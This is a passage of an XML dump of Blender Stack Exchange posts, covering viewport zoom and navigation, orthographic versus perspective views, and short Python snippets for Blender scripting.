LastActivityDate="2020-10-05T13:03:08.447" Title="Why does the zoom sometimes stop at a point?" Tags="&lt;3d-view&gt;" AnswerCount="8" CommentCount="1" FavoriteCount="120" ContentLicense="CC BY-SA 3.0" />
  <row Id="645" PostTypeId="2" ParentId="639" CreationDate="2013-06-05T14:56:19.577" Score="9" Body="&lt;p&gt;Python has a built-in &lt;code&gt;__file__&lt;/code&gt; global to access the path a script is running at. You can use it in your script by using this code snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import os&#xA;script_directory = os.path.dirname(os.path.abspath(__file__))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="242" LastEditorUserId="25" LastEditDate="2013-06-05T15:23:21.640" LastActivityDate="2013-06-05T15:23:21.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="646" PostTypeId="2" ParentId="644" CreationDate="2013-06-05T15:00:50.013" Score="32" Body="&lt;p&gt;In Blender, when you zoom in or out or rotate the viewport, it always does so around a center point. You can find this point by rotating your display using the third mouse button and finding the spot that always remains in the center. Your problem arises, because Blender essentially reaches the minimum focal distance to that center point, and does not allow you to zoom any further.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can't override this feature of Blender, but you can instead shift this center point to a more useful location. You can do this in a number of different ways:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The simplest way is just by panning the screen (&lt;kbd&gt;Shift&lt;/kbd&gt; + third mouse button)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To reset this center to the origin, press &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt;, then &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Home&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To set this center to an object in your scene, select that object, then press the decimal point on the numpad (numpad &lt;kbd&gt;.&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;By doing any one of these, you are essentially 'shifting' the viewport camera that you look through, instead of just zooming it in or out.&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="25" LastEditDate="2013-06-05T15:31:49.630" LastActivityDate="2013-06-05T15:31:49.630" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="647" PostTypeId="2" ParentId="644" CreationDate="2013-06-05T15:14:44.170" Score="17" Body="&lt;p&gt;There's a limit on how far you can zoom in. If you want to continue zooming in, you'll have to reset your view (as mentioned in a previous answer) or do one of the following: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt;(when not in a camera) and select an area. Blender will zoom into that point.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;NumPad .&lt;/kbd&gt; this will zoom to the selected object, or objects.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Adjust some of the &lt;em&gt;view camera&lt;/em&gt; settings in the Properties area (&lt;kbd&gt;N&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;One major fix for this problem is modeling on a larger scale. Modeling small objects will require more zooming. Keeping objects to scale(proportional to the real world) will generally make modeling easier.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="2217" LastEditDate="2015-05-07T14:35:51.897" LastActivityDate="2015-05-07T14:35:51.897" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="648" PostTypeId="1" AcceptedAnswerId="650" CreationDate="2013-06-05T15:34:08.520" Score="45" ViewCount="100181" Body="&lt;p&gt;In risk of being off topic for broadness and discussioness... but I think in the end it's a question that can't be avoided.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone please finally explain the difference and why we need both?&lt;/p&gt;&#xA;" OwnerUserId="116" LastEditorUserId="256" LastEditDate="2013-06-08T19:46:06.407" LastActivityDate="2019-03-22T15:56:52.283" Title="What are the differences between Orthographic and Perspective views?" Tags="&lt;3d-view&gt;" AnswerCount="5" CommentCount="1" FavoriteCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="649" PostTypeId="2" ParentId="648" CreationDate="2013-06-05T15:43:44.233" Score="39" Body="&lt;p&gt;Orthographic is (according to Wikipedia):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;... a means of representing a three-dimensional object in two dimensions...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Bascially, &lt;strong&gt;Orthographic is a fixed depth&lt;/strong&gt;. You can't zoom in or out. There is no distance from the camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Perspective has depth&lt;/strong&gt;. You can zoom in and out. You can judge distances. Cameras can be distanced from the scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply put, orthographic is what would happen if you squished everything in the scene (along the cameras view axis) and stuck it right against the camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zyGF1.gif&quot; alt=&quot;Perspective and Orthographic&quot;&gt;&#xA;&lt;em&gt;Perspective on the left, Orthographic  on the right&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditorDisplayName="user235" LastEditDate="2014-11-17T11:54:51.257" LastActivityDate="2014-11-17T11:54:51.257" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="650" PostTypeId="2" ParentId="648" CreationDate="2013-06-05T16:28:28.417" Score="32" Body="&lt;p&gt;Orthographic is commonly used in engineering as a means to produce object specifications that communicate dimensions unambiguously, each line of 1 unit length (cm, meter..whatever) will appear to have the same length everywhere on the drawing. This allows the drafter to dimension only a subset of lines and let the reader know that other lines of that length on the drawing are also that length in reality. Every parallel line in the drawing is also parallel in the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are looking at a larger scene with buildings then orthographic rendering gives a clearer measure of distance between buildings and their relative sizes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With perspective mode lines of identical real-world lengths will appear different due to &lt;code&gt;fore-shortening&lt;/code&gt;. It becomes difficult to judge relative dimensions and the size of objects in the distance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While modelling nothing stops you from switching between orthographic and perspective mode to get a better sense of the object.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-06-08T19:38:51.817" LastActivityDate="2013-06-08T19:38:51.817" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="651" PostTypeId="2" ParentId="644" CreationDate="2013-06-05T16:30:35.423" Score="208" Body="&lt;h2&gt;Explanation (Brief)&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Blender's 3D navigation uses a central point to orbit around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In practice this is good for modeling an object which you rotate about a lot to see from all sides&lt;br&gt;&lt;em&gt;(think of a potter using a wheel)&lt;/em&gt;.&lt;br&gt;&#xA;However this makes it awkward to explore a scene or model an object from the 'inside', for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some ways to use Blender without this being an annoyance. &lt;em&gt;... read on!&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Explanation (Detailed)&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Blenders view is constructed by 3 elements.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_current/bpy.types.RegionView3D.html#bpy.types.RegionView3D.view_location&quot; rel=&quot;noreferrer&quot;&gt;location&lt;/a&gt;: the point of interest that orbit when rotating the view-port (the center of the screen).&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_current/bpy.types.RegionView3D.html#bpy.types.RegionView3D.view_distance&quot; rel=&quot;noreferrer&quot;&gt;distance&lt;/a&gt;: the zoom level (distance from the &lt;code&gt;location&lt;/code&gt;).&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_current/bpy.types.RegionView3D.html#bpy.types.RegionView3D.view_rotation&quot; rel=&quot;noreferrer&quot;&gt;rotation&lt;/a&gt;: value for yaw-pitch-roll (around the &lt;code&gt;location&lt;/code&gt;).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;linked to API reference&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Typically users don't need to worry about this detail, however zooming will only change the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_current/bpy.types.RegionView3D.html#bpy.types.RegionView3D.view_distance&quot; rel=&quot;noreferrer&quot;&gt;distance&lt;/a&gt; which is an offset from &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_current/bpy.types.RegionView3D.html#bpy.types.RegionView3D.view_location&quot; rel=&quot;noreferrer&quot;&gt;location&lt;/a&gt; (where 0.0 is zoomed in as far as possible == no offset).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Solutions&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Early on using Blender I was quite annoyed by this limitation, of course there are ways to set a new view-center, common way is to select an object and press numpad &lt;kbd&gt;.&lt;/kbd&gt;, but what if there are no objects where you want to look at? .. or the object is very large? (a terrain mesh for eg). &lt;em&gt;Sometimes I found myself rotating the view 90d, panning, then rotating back - which seemed an unnecessary workaround&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some ways to navigate in large scenes or scenes with no obvious center...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://docs.blender.org/manual/en/dev/editors/3dview/navigate/navigation.html#dolly-zoom&quot; rel=&quot;noreferrer&quot;&gt;View Dolly:&lt;/a&gt;&lt;/strong&gt; &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt; + middle-mouse or &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;+&lt;/kbd&gt;/&lt;kbd&gt;-&lt;/kbd&gt;&lt;br&gt;works similar to zoom but translates the view center (like panning forward).&lt;br&gt;&lt;em&gt;I think this is the most direct answer to your question, but listing other methods too&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/dev/editors/3dview/navigate/walk_fly.html&quot; rel=&quot;noreferrer&quot;&gt;Walk/Fly Mode:&lt;/a&gt;&lt;/strong&gt; &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;F&lt;/kbd&gt;&lt;br&gt;As with dolly this can move the view back and fourth (using the mouse wheel), but you can also look around using the mouse and &lt;kbd&gt;W&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt; keys, its a mode all on its own and has pros and cons which are better explained elsewhere.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Auto Depth&lt;/strong&gt; (Interface Preferences): &lt;br&gt;useful in combination with &lt;strong&gt;Zoom To Mouse Position&lt;/strong&gt;, Using these will make sure the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_current/bpy.types.RegionView3D.html#bpy.types.RegionView3D.view_distance&quot; rel=&quot;noreferrer&quot;&gt;distance&lt;/a&gt; is always the value under the mouse cursor, this means you have to consider &lt;strong&gt;where&lt;/strong&gt; you click when moving the view but can also be very handy since it gives you a lot more control.&lt;br&gt;If you work with large scenes - like a game level for example, and want to move around a lot, I'd recommend to try these options. See &lt;a href=&quot;https://www.youtube.com/watch?v=pdXQhEutIfI&quot; rel=&quot;noreferrer&quot;&gt;this video&lt;/a&gt; for a demo.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Border Zoom:&lt;/strong&gt; &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt;: &lt;em&gt;Also sets the center-point when zooming.&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Center the view around the mouse cursor&lt;/strong&gt;:&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;F&lt;/kbd&gt;&lt;br&gt;This will take the position under the cursor and make it your viewpoint center.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Center the view around the 3D cursor&lt;/strong&gt; &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Home&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;NDOF (N-Degrees of Freedom), also known as a 3D mouse, hardware you can use to navigate a scene with Blender, See devices made by &lt;strong&gt;3dconnexion&lt;/strong&gt;. Blender's 3D View supports this, allowing you to explore a scene. Walk/Fly modes also support NDOF devices.&lt;br&gt;&lt;em&gt;(Note, this is not a promotion of 3dconnexion, in fact there are very few companies who make such hardware, So currently Blender only supports 3dconnexion)&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastEditorUserId="26911" LastEditDate="2017-08-06T06:29:44.023" LastActivityDate="2017-08-06T06:29:44.023" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="652" PostTypeId="2" ParentId="643" CreationDate="2013-06-05T17:01:31.513" Score="42" Body="&lt;p&gt;Yes its possible, heres an example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;size = 640, 480&#xA;&#xA;import bpy&#xA;# blank image&#xA;image = bpy.data.images.new(&quot;MyImage&quot;, width=size[0], height=size[1])&#xA;&#xA;## For white image&#xA;# pixels = [1.0] * (4 * size[0] * size[1])&#xA;&#xA;pixels = [None] * size[0] * size[1]&#xA;for x in range(size[0]):&#xA;    for y in range(size[1]):&#xA;        # assign RGBA to something useful&#xA;        r = x / size[0]&#xA;        g = y / size[1]&#xA;        b = (1 - r) * g&#xA;        a = 1.0&#xA;&#xA;        pixels[(y * size[0]) + x] = [r, g, b, a]&#xA;&#xA;# flatten list&#xA;pixels = [chan for px in pixels for chan in px]&#xA;&#xA;# assign pixels&#xA;image.pixels = pixels&#xA;&#xA;# write image&#xA;image.filepath_raw = &quot;/tmp/temp.png&quot;&#xA;image.file_format = 'PNG'&#xA;image.save()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/noAcQ.png&quot; alt=&quot;output of script&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-06-06T18:27:22.963" LastActivityDate="2013-06-06T18:27:22.963" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="653" PostTypeId="2" ParentId="621" CreationDate="2013-06-05T17:16:58.903" Score="3" Body="&lt;p&gt;No, there are no built-in functions which do this in a more pythonic way, however, unless you only ever want to access a single bone, Id suggest collecting all vertex groups at once.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def mesh_to_weight_list(ob, me):&#xA;    &quot;&quot;&quot;&#xA;    Takes a mesh and return its group names and a list of lists,&#xA;    one list per vertex.&#xA;    aligning the each vert list with the group names,&#xA;    each list contains float value for the weight.&#xA;    &quot;&quot;&quot;&#xA;&#xA;    # clear the vert group.&#xA;    group_names = [g.name for g in ob.vertex_groups]&#xA;    group_names_tot = len(group_names)&#xA;&#xA;    if not group_names_tot:&#xA;        # no verts? return a vert aligned empty list&#xA;        return [[] for i in range(len(me.vertices))], []&#xA;    else:&#xA;        weight_ls = [[0.0] * group_names_tot for i in range(len(me.vertices))]&#xA;&#xA;    for i, v in enumerate(me.vertices):&#xA;        for g in v.groups:&#xA;            # possible weights are out of range&#xA;            index = g.group&#xA;            if index &amp;lt; group_names_tot:&#xA;                weight_ls[i][index] = g.weight&#xA;&#xA;    return group_names, weight_ls&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note, that this example could use pythons &lt;code&gt;array&lt;/code&gt; module for greater effeciency but using lists since its an example.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-06-05T17:16:58.903" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="656" PostTypeId="2" ParentId="640" CreationDate="2013-06-05T18:42:05.760" Score="1" Body="&lt;p&gt;No, not as far as I know of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender can load older files into newer Blender version, taking care of updating settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's possible to write a script that changes the settings of a .blend file of course, but this would most likely be a workaround for problems in Blender's own conversion, so if there is really a bug there, it should be reported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other cases changes cant be easily converted since the settings are not 1:1 equivalent, so in those cases you probably have to accept some manual tweaking to get comparable settings.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-06-06T23:37:23.103" LastActivityDate="2013-06-06T23:37:23.103" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="657" PostTypeId="1" CreationDate="2013-06-05T18:42:33.247" Score="15" ViewCount="6838" Body="&lt;p&gt;Blender has two methods for model navigation using the viewport, namely turntable and trackball, with the default being turntable.  When I use trackball instead, I can &lt;em&gt;feel&lt;/em&gt; that something is changed, but I can't seem to be able to explain the difference to someone who has never tried it before.  How can I explain, in a technical or non-technical manner, the difference between the two rotation modes?&lt;/p&gt;&#xA;" OwnerUserId="204" LastEditorUserId="12" LastEditDate="2013-06-05T19:02:23.783" LastActivityDate="2013-06-10T16:01:43.390" Title="What is the difference between the trackball and turntable style view modes?" Tags="&lt;3d-view&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="659" PostTypeId="1" AcceptedAnswerId="661" CreationDate="2013-06-05T18:47:15.663" Score="13" ViewCount="718" Body="&lt;p&gt;I know how to set the &quot;Author&quot; attribute for the blendfiles that I create, using &lt;code&gt;Blender User Preferences &amp;gt; File&lt;/code&gt;.  However, I have not found out how to &lt;em&gt;view&lt;/em&gt; the author of a blendfile.  How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="204" LastActivityDate="2017-01-05T19:43:55.960" Title="How can I discover the author of a blendfile?" Tags="&lt;blend-files&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="660" PostTypeId="2" ParentId="657" CreationDate="2013-06-05T18:48:01.033" Score="8" Body="&lt;p&gt;The only difference, as far as I can tell, is that &lt;strong&gt;Turntable&lt;/strong&gt; rotation mode locks the viewport's Z axis orientation. &lt;strong&gt;Trackball&lt;/strong&gt; doesn't lock Z orientation, and can be a bit confusing if we're not used to it.&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="364" LastEditDate="2013-06-10T16:01:43.390" LastActivityDate="2013-06-10T16:01:43.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="661" PostTypeId="2" ParentId="659" CreationDate="2013-06-05T18:53:26.307" Score="12" Body="&lt;p&gt;You can't, This author field is only ever used in exporters. In the COLLADA export to be precise, where the COLLADA format can have an author tag, and I wanted it to be possible for users to have a configurable content for this, so I added the author field to user preferences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not everybody will have this set, either, so best not to rely on this for 'correct' user data.&lt;/p&gt;&#xA;" OwnerUserId="97" LastEditorUserId="55" LastEditDate="2013-06-06T01:29:57.740" LastActivityDate="2013-06-06T01:29:57.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="662" PostTypeId="2" ParentId="657" CreationDate="2013-06-05T19:09:44.233" Score="10" Body="&lt;p&gt;As per the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Navigating/3D_View#Perspective_and_Orthographic_Projection&quot;&gt;wiki&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h2&gt;TrackBall/Turntable&lt;/h2&gt;&#xA;  &#xA;  &lt;p&gt;By default, when you rotate the view, you are using&#xA;  the &lt;strong&gt;turntable&lt;/strong&gt; method. For some users this is intuitive and for others&#xA;  it is not. If you feel you are having difficulties with this style of&#xA;  3D window rotation you can switch to the &lt;strong&gt;&quot;trackball&quot;&lt;/strong&gt; style.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;With the &lt;strong&gt;Trackball style&lt;/strong&gt; you are rotating the scene as though you are rolling&#xA;  your hand across a &lt;strong&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Trackball&quot;&gt;&quot;trackball&quot;&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The &lt;strong&gt;Turntable style&lt;/strong&gt; is fashioned more like a record player where you&#xA;  have two axes of rotation available, and the world seems to have a&#xA;  better definition of what is &lt;em&gt;up&lt;/em&gt; and &lt;em&gt;down&lt;/em&gt; in it. The downside to&#xA;  using the Turntable style is that you lose some flexibility when&#xA;  working with your objects. However, you gain the sense of &lt;em&gt;up&lt;/em&gt; and&#xA;  &lt;em&gt;down&lt;/em&gt; which can help if you are feeling disoriented. Of course you&#xA;  can always switch between the styles depending on what you are working&#xA;  on.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12" LastActivityDate="2013-06-05T19:09:44.233" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="664" PostTypeId="5" CreationDate="2013-06-05T20:34:49.673" Score="0" Body="&lt;p&gt;All official releases available &lt;a href=&quot;http://download.blender.org/release/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pre-built development versions and special builds &lt;a href=&quot;http://blender.stackexchange.com/q/3438/599&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instructions for compiling blender from source &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Doc/Building_Blender&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="599" LastEditDate="2015-01-21T22:39:10.230" LastActivityDate="2015-01-21T22:39:10.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="665" PostTypeId="4" CreationDate="2013-06-05T20:34:49.673" Score="0" Body="Questions about using and managing different versions of Blender, past present and future. Use this tag for upgrade questions, installation questions, etc." OwnerUserId="20" LastEditorUserId="599" LastEditDate="2015-01-21T22:39:10.230" LastActivityDate="2015-01-21T22:39:10.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="666" PostTypeId="5" CreationDate="2013-06-05T20:39:19.007" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-06-05T20:39:19.007" LastActivityDate="2013-06-05T20:39:19.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="667" PostTypeId="4" CreationDate="2013-06-05T20:39:19.007" Score="0" Body="Questions about viewing or rendering an object in wireframe. Wireframe is displayed by drawing only the object's edges. A wireframe is usually used to view the topology of an object." OwnerUserId="20" LastEditorUserId="599" LastEditDate="2013-06-27T05:24:49.077" LastActivityDate="2013-06-27T05:24:49.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="668" PostTypeId="5" CreationDate="2013-06-05T20:41:46.940" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-06-05T20:41:46.940" LastActivityDate="2013-06-05T20:41:46.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="669" PostTypeId="4" CreationDate="2013-06-05T20:41:46.940" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-06-05T20:41:46.940" LastActivityDate="2013-06-05T20:41:46.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="670" PostTypeId="2" ParentId="563" CreationDate="2013-06-05T21:08:39.427" Score="9" Body="&lt;p&gt;The version of geometry_nodes as of &lt;a href=&quot;https://www.gitorious.org/blender-trunk/addons/commit/edbdbc8fea539c0d7b50c1dd525514000d484fc2&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;commit edbdbc8fea539&quot;&gt;commit edbdbc8fea539&lt;/a&gt; does a small check that isn't actually really used yet. This looks to be part of a work-in-progress that is as of yet uncompleted. To get these nodes running you'll have to modify modifiers.py and comment out or remove lines 46 and 47:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#if not isinstance(datatype, TypeSpec):&#xA;#    raise TypeError(&quot;Expected TypeSpec datatype&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After this (re-)start blender, enable the addon and play with the geometry nodes :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that as of this writing the above mentioned commit is the latest and the only one in 24 days. Looks very much like current development is on hold.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A small screenshot of geometry nodes in the node editor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jcSD6.png&quot; alt=&quot;Geometry Nodes in Node Editor&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="97" LastEditorUserId="97" LastEditDate="2013-06-05T21:27:00.787" LastActivityDate="2013-06-05T21:27:00.787" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="671" PostTypeId="1" AcceptedAnswerId="679" CreationDate="2013-06-06T01:35:08.517" Score="13" ViewCount="5898" Body="&lt;p&gt;I remember there was once a project called Verse, which allowed (or at least was supposed to) collaborative editing in Blender, even using Blender collaboratively with other applications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is anything along these lines (I.E. collaborative editing across a network) supported in the current version?&lt;/p&gt;&#xA;" OwnerUserId="72" LastActivityDate="2020-10-31T15:16:33.953" Title="Does Blender support any form of collaborative editing?" Tags="&lt;network&gt;&lt;modeling&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="672" PostTypeId="1" CreationDate="2013-06-06T01:38:18.233" Score="7" ViewCount="1735" Body="&lt;p&gt;Is there some way to lock files with a password or to lock open files to prevent them from being edited by others?&lt;/p&gt;&#xA;&lt;h1&gt;Use case examples:&lt;/h1&gt;&#xA;&lt;h2&gt;A:&lt;/h2&gt;&#xA;&lt;p&gt;Jack wants to sell Blender models, but wants to ensure that only those who have paid and been sent a password can edit the models.&lt;br /&gt;&#xA;Can a password be used?&lt;/p&gt;&#xA;&lt;h2&gt;B:&lt;/h2&gt;&#xA;&lt;p&gt;Jack and Jill are making a hill for their water simulation. However, Jack wants to make sure the hill is completed before Jill tries to run a water simulation.&lt;br /&gt;&#xA;(How) can he lock the file?&lt;/p&gt;&#xA;&lt;h3&gt;To be clear:&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;LibreOffice (also open source) allows password protected files.&lt;/li&gt;&#xA;&lt;li&gt;I do not want to sell files as described, but I do want to protect my files via password sometimes (and will need to in some situations).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="72" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-06-06T12:43:33.123" Title="Does Blender have a file locking feature?" Tags="&lt;editing&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="673" PostTypeId="2" ParentId="672" CreationDate="2013-06-06T01:57:33.093" Score="4" Body="&lt;p&gt;No, this is not possible in Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And it would be quite hard enforce even if the feature was supported in Blender - since its open source, someone could always compile their own version that allowed re-saving.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For case A: just use a video turnaround.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For case B: sounds like they just need good communication/team work. Note that some version-control allows locking so perhaps it can be done at that level.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-06-06T01:57:33.093" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="674" PostTypeId="1" AcceptedAnswerId="678" CreationDate="2013-06-06T02:01:19.863" Score="15" ViewCount="3911" Body="&lt;p&gt;Normally, with most actions that you want to script with Python there is a pop-up tooltip that shows you the function that you want to use.  However, for viewport navigation there are no pop-ups, you use the mouse directly for everything (scrolling to zoom, middle-click-and-drag to pan).  How can I navigate the viewport with Python?&lt;/p&gt;&#xA;" OwnerUserId="204" LastActivityDate="2017-01-13T08:06:08.713" Title="How can I navigate the viewport using Python?" Tags="&lt;scripting&gt;&lt;python&gt;&lt;3d-view&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
